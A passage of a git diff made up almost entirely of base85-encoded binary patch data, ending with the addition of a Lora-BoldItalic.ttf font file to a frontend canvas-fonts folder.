z$WPTr-Rlz7k5~ys7|Y))jI^dVb`#Pul4{#rT<y<FmPFJZ$%-OA<V{tN^P4+X2U@Ei zLkcG*F4s(;UnZPRWH~|yxDjseltl;~UhzUG`$to@3Hqh^0Qz3DxO+IEbQ^tZ6YWOr zWWP<0_doxK4~&`hc@skCJ2s?PpDl<wsv46uOo{owjT`7=7k89~Xn&2C*L5-NYZoce z5IGK5ufX>~OOdG`aD)1s`#8$0I>@<-4swpXh;y`R`CZ&aynhkpjg|6yQU0TVO*k?{ zxG`>kMrP;{W3%-Lw4zc9ZwX2*V^~U2x*c$%;;CYAgl+*Ws#qp~6}^D82NovnyX2=( z&yC!tk&pE}%2_M*oIvJ)y?~`&wi;@otA2w1SXm7r#6~Pp^`W_`ebQ>2Z#7Im-@Jed zJ#sp|BphEF$8K8lK-^-hua~TXq_2TYS;?OC$F6<i$<saU@}*2Ukr_-Al31BZt<Em> zBy6^9*p+e^LIImxxZYEy1!7P99KC`yVZho(>|zd_GMXzOSIYVCKHv7tUrA)&O=Q17 z_J+w}`Tn4M?6KD_fLDR<)5YW?$Vcd%l%k5z1d~-AI^cwC7q6X#d7V=d0orxfCIY03 zuanM?;dqxk!T%|<@rKkjIaxbXEP#+{6cs1+o+i6aqcJ5UDPh#<kY>=CUzg1e=N$Z3 zh|O7t3-WaMXF=e$jYOLQDQNS7rYPgOU33IzQZ6Ij5_(msDo7DE1CQc9(Gpxr(Cl=F zo6lB0=}5xsO(wla4O01JqmrOyL{h%ZVmDRYLVf#4Ad&L=;_zo>0)Y(sLD`3C8`;8} zm|j}~OIO$qQd6c68_Wo;4f=FzY1>{y5HYz#6z*fSe+h4FQ{Nbh!jzR*l-t?VTD>=9 zHrJSpw5{bnK_mv;F^TD<T#|N?&+}2Po=GRXfiYta48%OJzwqw)=ni{lqp{X*lCS1U zNM$By8ye`6^et||Vh(!sy8}l(0izCWQ2Lf7p9FSTF(uFk0+l6l!=2<4v2W-erP)2B znJ1n^DK|}$eSE!Q>%dCN!Gn78@%Sgn;n-Jc^6R-hdooWcb&ZhS^nK2#jFWQ2kvUZ0 zl|JL@%9~5(L@*dLmK;NL#NLtdyW$BrI^a}dvy~$;-Z{PZGwIc5U5l#fB)l3H+cVB~ z7MEY}y4n!}94IsyERtZbN;K!l27~Rsrc5MU@N|<VDc~jufd-L5m!Mn7J(xc$`lyl? zQ~6OX=F!GlNba#N_Be5rq9JH13Vi`@$lE0N4D@F`1&b&&`BNRD=#)@X64^+X(Vv1_ zz!&1TCW(vQvVAkd@dQni2e5mAlkufVhY`b471mlII_CZ+W{06x=eD}+)MRQDB)20M z?Cf)x8%#89l?=#WfE$-<&3e7XW0m5rY#bX9I!iq?ljmq3*Uv9t^fiQmW%mbzoE=G< zmDF#v7WoCiNN<<FF&Iv4MyuW=-y(lbONg~ad)WaTEUh;q@qOuG@~u+dl`5gRgzK0n zaep~+YIbb$t*$`G?(q9gMjTEU9S*2sge%MExmPD%QSf5~*(77V9!W|ThQA=64@P^t ze2sxfViQUy5mViSvT)T7MU^;Kj5|EW7<wj+LECi=&CM={PZ##CbTz~czLw0gvOJ!r z^(LE1(ACwM?_5<|PyC@^#@op7C*&){h5PC-m+D%C!G@ryio;o}eJIma+TG#p3bUJR za4B-ou~fd2&!yM)2q{BL-qmO`8RLOCYPxQG;9OCFpwldEA^Z79K;d=;e>IIq*#gWe zEAYjc<eo~c)%hxmxuuHozleoxF<@_?fvtfo<Pxh}r_`<T4rqxIi)X+nD};&}KX=$@ zs&JClnP}+gy$#r7Fj$29epH1;tviak??<~^uWk45Cf8a0S?O%JmUvx85O1^!@1t`Q zva^8^veMrud5FIqZDO9qnVl5pT&Djxv%jC4d(l?6fppAV!SK1jGw0{WVEw`i1^bsV zJnRfj&Ky~N%R%X==`MfOlw}9{!?)d*ot`Yp4P&mp#@{`w7KPojDI>#bE&A!Xq7kK* zEmKp35jcc9GT!Asg<4vs+QM!Co-&{3VIGIn+THU`gWBR<*P8&!eGb^);XelKt|{zu zk30E_im+$y0avjRZst&<e{q~h-o`(x%HV3rnX8h)`<=}#PFJM)0Y`I-1EQEmY^*Pt zWZAhYpIECtdWpNre^cc;O0YOa`Q>9KTaDfj2pMmpmsaS!Awj5ZFdk%F!in-%Cd*?y zZHkCo7`n+A3N|2u+e|OD9yB)83PQ-MLrXpM0(qSO(L6F02JWlAn_WF7z1}6rzfKN| z?N(ExkzUB{vg_?;ze~5W<#wk-Fa!ezra=$$TJj|SV{FDkOGWJ;47IF=zU${lX3^Yr zDOaVr8I=238YXY?hklP)FU~#dVTGQF`I=cj1U;SS5B{N4-8e5*M-_}au1D24dqu~| zbNp#wXSxyF>ixxO@3)_G`~w|-FtvU|@?lU%0C^a0<-g1#(`N7;BYnZQsA!H^yVL0| zYs_5i<Bd{V(rOI^tkz^36iLRVN5DycGLHn9;sCQaW~Pb}RO>#EOtS-}?orhJ^Lgr? zn(0|}S4)@CD*iiDx`fg0d-=zH4{ke4XPbxHR`-S^W)j2XXuSliAB5alF)wLUx8j-W z5eP;(PA`)pf9ZO<CR5QYwr~5o;M|M$_`O{$w6w<|Se>>;o10#Cw8fgc0{9*4^0gBW zSQRB9Z*vQ1E6F>^OZ<14##6%fY{j7qO^HS5DZ1uMjj4=P3i|_AF=;7E<&Zt%^NW_W zk^f?@U@=)tHcz;iGl{0Ki`6GzB+fZCC}<ipG^iHO8byOjv@Rc%FBWKn=rD<O^>wDZ z%UWEQ6-K0g$c7qw!S`=cHU6O-LLi{@|3Y_v{6l1aj5j@*8{48pz*l$}TSpZsNj`h; zap#|jkMP>{!^sC91fQ$eSg@tx@dRA4lK>;|3UI|10$iv(Z{yzLO@NDk!k$+w8Nk^8 zR^C@^5x_Xs0$5KwNtAvG@WNl70bH>{0K*@xlvnHxz%cm%SF8xYh@J*q(fa|z$N*f? z-T@<0fWfME3K&*D;EHYucqxM?F3=wC7=JhRq5fjxdHP$7U6%T|pYuD}3Anl9^N-CA zz2|pc8)%R0h48N4g?nd0Y~O#qz^I~!h4WQi<}C!<;d=A4n>R!}SChpsd&0<rIBht@ zY0!%%9o<IWQtmI@jSb62mqq@%=oadBKCC3@UDaf-(bm^D=<37?Qg+*=<u|PJPo{;> zN;UF#I=A%&gMHgNNg3CBJ&lyef<51tirOvks56~}--=e2*bdEP6J|70$qql&w8<nf zGxBmwei>I&2J?BemLP?&V>&@|?vlecovoQ&G&Y?wxH`{{lK8y(3nXmzOX?SF_P}At zJM3Oijv2;;oju}f;6cWD7es|XgT^?jF@#DaMR3MmISXMybmVlf7#*+-1{wo_Xr!14 zc3LU@S=H`&AKTn^^!C_Rj6}n0&2@&7Va?K&U52_hZAnS-a}#AR`%JRaL;k&9uUW9U Lt>?oSNbY|C4IDPj literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Lora-BoldItalic.ttf b/skills/frontend-dev/canvas-fonts/Lora-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..12dea8c6f5f3af6c7e066b9c6ae5c8b33741e45e GIT binary patch literal 140332 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 